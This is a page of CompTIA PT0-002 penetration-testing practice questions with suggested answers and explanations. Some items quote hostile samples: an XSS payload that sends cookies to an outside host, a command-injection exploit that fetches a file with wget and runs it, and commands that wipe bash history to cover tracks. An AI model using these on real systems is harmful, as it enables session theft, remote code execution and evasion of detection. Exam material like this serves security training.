ExamGecko
Home Home / CompTIA / PT0-002

CompTIA PT0-002 Practice Test - Questions Answers, Page 4

Question list
Search
Search

List of questions

Search

Related questions











A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?

A.
Implement a recurring cybersecurity awareness education program for all users.
A.
Implement a recurring cybersecurity awareness education program for all users.
Answers
B.
Implement multifactor authentication on all corporate applications.
B.
Implement multifactor authentication on all corporate applications.
Answers
C.
Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
C.
Restrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
Answers
D.
Implement an email security gateway to block spam and malware from email communications.
D.
Implement an email security gateway to block spam and malware from email communications.
Answers
Suggested answer: A

Explanation:

The simulated phishing attack showed that most of the employees were not able to recognize or avoid a common social engineering technique that could compromise their corporate credentials and expose sensitive data or systems. The best way to address this situation is to implement a recurring cybersecurity awareness education program for all users that covers topics such as phishing, password security, data protection, and incident reporting. This will help raise the level of security awareness and reduce the risk of falling victim to phishing attacks in the future. The other options are not as effective or feasible as educating users about phishing prevention techniques.

Reference: https://resources.infosecinstitute.com/topic/top-9-free-phishing-simulators/

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

A.
Nmap
A.
Nmap
Answers
B.
tcpdump
B.
tcpdump
Answers
C.
Scapy
C.
Scapy
Answers
D.
hping3
D.
hping3
Answers
Suggested answer: C

Explanation:

https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html

https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy

Scapy is a powerful and interactive packet manipulation tool that allows the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds. Scapy can craft, send, receive, and analyze packets of various protocols, such as TCP, UDP, ICMP, or IP. Scapy can also modify any field of any layer of a packet, such as the TCP header length and checksum, which are used to indicate the size and integrity of the TCP segment. Scapy can also display the response packets from the target system, which can reveal how the proprietary service handles the invalid packet.

A penetration tester is reviewing the following SOW prior to engaging with a client:

"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner." Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

A.
Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
A.
Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
Answers
B.
Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
B.
Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
Answers
C.
Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
C.
Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
Answers
D.
Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
D.
Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
Answers
E.
Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
E.
Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
Answers
F.
Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements
F.
Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements
Answers
Suggested answer: C, D

Explanation:

These two behaviors would be considered unethical because they violate the principles of honesty, integrity, and confidentiality that penetration testers should adhere to. Failing to share critical vulnerabilities with the client would be dishonest and unprofessional, as it would compromise the quality and value of the assessment and potentially expose the client to greater risks. Seeking help in underground hacker forums by sharing the client's public IP address would be a breach of confidentiality and trust, as it would expose the client's identity and information to malicious actors who may exploit them.

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

A.
Aircrack-ng
A.
Aircrack-ng
Answers
B.
Wireshark
B.
Wireshark
Answers
C.
Wifite
C.
Wifite
Answers
D.
Kismet
D.
Kismet
Answers
Suggested answer: A

Explanation:

Aircrack-ng is a suite of tools that allows the penetration tester to test the effectiveness of the wireless IDS solutions by performing various attacks on wireless networks, such as cracking WEP and WPA keys, capturing and injecting packets, deauthenticating clients, or creating fake access points.

Aircrack-ng can also generate different types of traffic and signatures that can trigger the wireless IDS alerts or responses, such as ARP requests, EAPOL frames, or beacon frames.

Reference: https://purplesec.us/perform-wireless-penetration-test/

A penetration tester gains access to a system and establishes persistence, and then runs the following commands:

cat /dev/null > temp

touch -r .bash_history temp

mv temp .bash_history

Which of the following actions is the tester MOST likely performing?

A.
Redirecting Bash history to /dev/null
A.
Redirecting Bash history to /dev/null
Answers
B.
Making a copy of the user's Bash history for further enumeration
B.
Making a copy of the user's Bash history for further enumeration
Answers
C.
Covering tracks by clearing the Bash history
C.
Covering tracks by clearing the Bash history
Answers
D.
Making decoy files on the system to confuse incident responders
D.
Making decoy files on the system to confuse incident responders
Answers
Suggested answer: C

Explanation:

The commands are used to clear the Bash history file of the current user, which records the commands entered in the terminal. The first command redirects /dev/null (a special file that discards any data written to it) to temp, which creates an empty file named temp. The second command changes the timestamp of temp to match that of .bash_history (the hidden file that stores the Bash history). The third command renames temp to .bash_history, which overwrites the original file with an empty one. This effectively erases any trace of the commands executed by the user.

Reference: https://null-byte.wonderhowto.com/how-to/clear-logs-bash-history-hacked-linuxsystems-cover- your-tracks-remain-undetected-0244768/

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

A.
Buffer overflows
A.
Buffer overflows
Answers
B.
Cross-site scripting
B.
Cross-site scripting
Answers
C.
Race-condition attacks
C.
Race-condition attacks
Answers
D.
Zero-day attacks
D.
Zero-day attacks
Answers
E.
Injection flaws
E.
Injection flaws
Answers
F.
Ransomware attacks
F.
Ransomware attacks
Answers
Suggested answer: B, E

Explanation:

A01-Injection

A02-Broken Authentication

A03-Sensitive Data Exposure

A04-XXE

A05-Broken Access Control

A06-Security Misconfiguration

A07-XSS

A08-Insecure Deserialization

A09-Using Components with Known Vulnerabilities

A10-Insufficient Logging & Monitoring

Reference: https://owasp.org/www-pdf-archive/OWASP_Top_10_2017_RC2_Final.pdf

Cross-site scripting (XSS) and injection flaws are two of the web-application security risks that are part of the OWASP Top 10 v2017 list. XSS is a type of attack that injects malicious scripts into web pages or applications that are viewed by other users, resulting in compromised sessions, stolen cookies, or redirected browsers. Injection flaws are a type of attack that exploits a vulnerability in an application's data input or output, such as SQL injection, command injection, or LDAP injection, resulting in unauthorized access, data loss, or remote code execution. The other options are not part of the OWASP Top 10 v2017 list.

Given the following code:

<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

A.
Web-application firewall
A.
Web-application firewall
Answers
B.
Parameterized queries
B.
Parameterized queries
Answers
C.
Output encoding
C.
Output encoding
Answers
D.
Session tokens
D.
Session tokens
Answers
E.
Input validation
E.
Input validation
Answers
F.
Base64 encoding
F.
Base64 encoding
Answers
Suggested answer: C, E

Explanation:

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.

Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

A.
Reach out to the primary point of contact
A.
Reach out to the primary point of contact
Answers
B.
Try to take down the attackers
B.
Try to take down the attackers
Answers
C.
Call law enforcement officials immediately
C.
Call law enforcement officials immediately
Answers
D.
Collect the proper evidence and add to the final report
D.
Collect the proper evidence and add to the final report
Answers
Suggested answer: A

Explanation:

The penetration tester should reach out to the primary point of contact as soon as possible to inform them of the critical vulnerability and the active exploitation by cybercriminals. This is the most responsible and ethical course of action, as it allows the client to take immediate steps to mitigate the risk and protect their assets. The other options are not appropriate or effective in this situation.

Trying to take down the attackers would be illegal and dangerous, as it may escalate the conflict or cause collateral damage. Calling law enforcement officials immediately would be premature and unnecessary, as it may involve disclosing confidential information or violating the scope of the engagement. Collecting the proper evidence and adding to the final report would be too slow and passive, as it would delay the notification and remediation of the vulnerability.

A penetration-testing team is conducting a physical penetration test to gain entry to a building.

Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

A.
As backup in case the original documents are lost
A.
As backup in case the original documents are lost
Answers
B.
To guide them through the building entrances
B.
To guide them through the building entrances
Answers
C.
To validate the billing information with the client
C.
To validate the billing information with the client
Answers
D.
As proof in case they are discovered
D.
As proof in case they are discovered
Answers
Suggested answer: D

Explanation:

The penetration testers should carry copies of the engagement documents with them as proof in case they are discovered by security guards, employees, or law enforcement officials. The engagement documents should include the scope, objectives, authorization, and contact information of the penetration testing team and the client. This will help avoid any legal or ethical issues that may arise from trespassing, breaking and entering, or unauthorized access. The other options are not valid reasons for carrying the engagement documents with them.

Reference: https://hub.packtpub.com/penetration-testing-rules-of-engagement/

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

exploit = "POST "

exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -

c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${I

FS}./apache'%0A%27&loginUser=a&Pwd=a"

exploit += "HTTP/1.1"

Which of the following commands should the penetration tester run post-engagement?

A.
grep -v apache ~/.bash_history > ~/.bash_history
A.
grep -v apache ~/.bash_history > ~/.bash_history
Answers
B.
rm -rf /tmp/apache
B.
rm -rf /tmp/apache
Answers
C.
chmod 600 /tmp/apache
C.
chmod 600 /tmp/apache
Answers
D.
taskkill /IM "apache" /F
D.
taskkill /IM "apache" /F
Answers
Suggested answer: B

Explanation:

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

cd /tmp: change the current directory to /tmp

wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1

chmod 777 apache: change the permissions of the file to allow read, write, and execute for everyone

./apache: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command rm -rf /tmp/apache post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

Total 422 questions
Go to page: of 43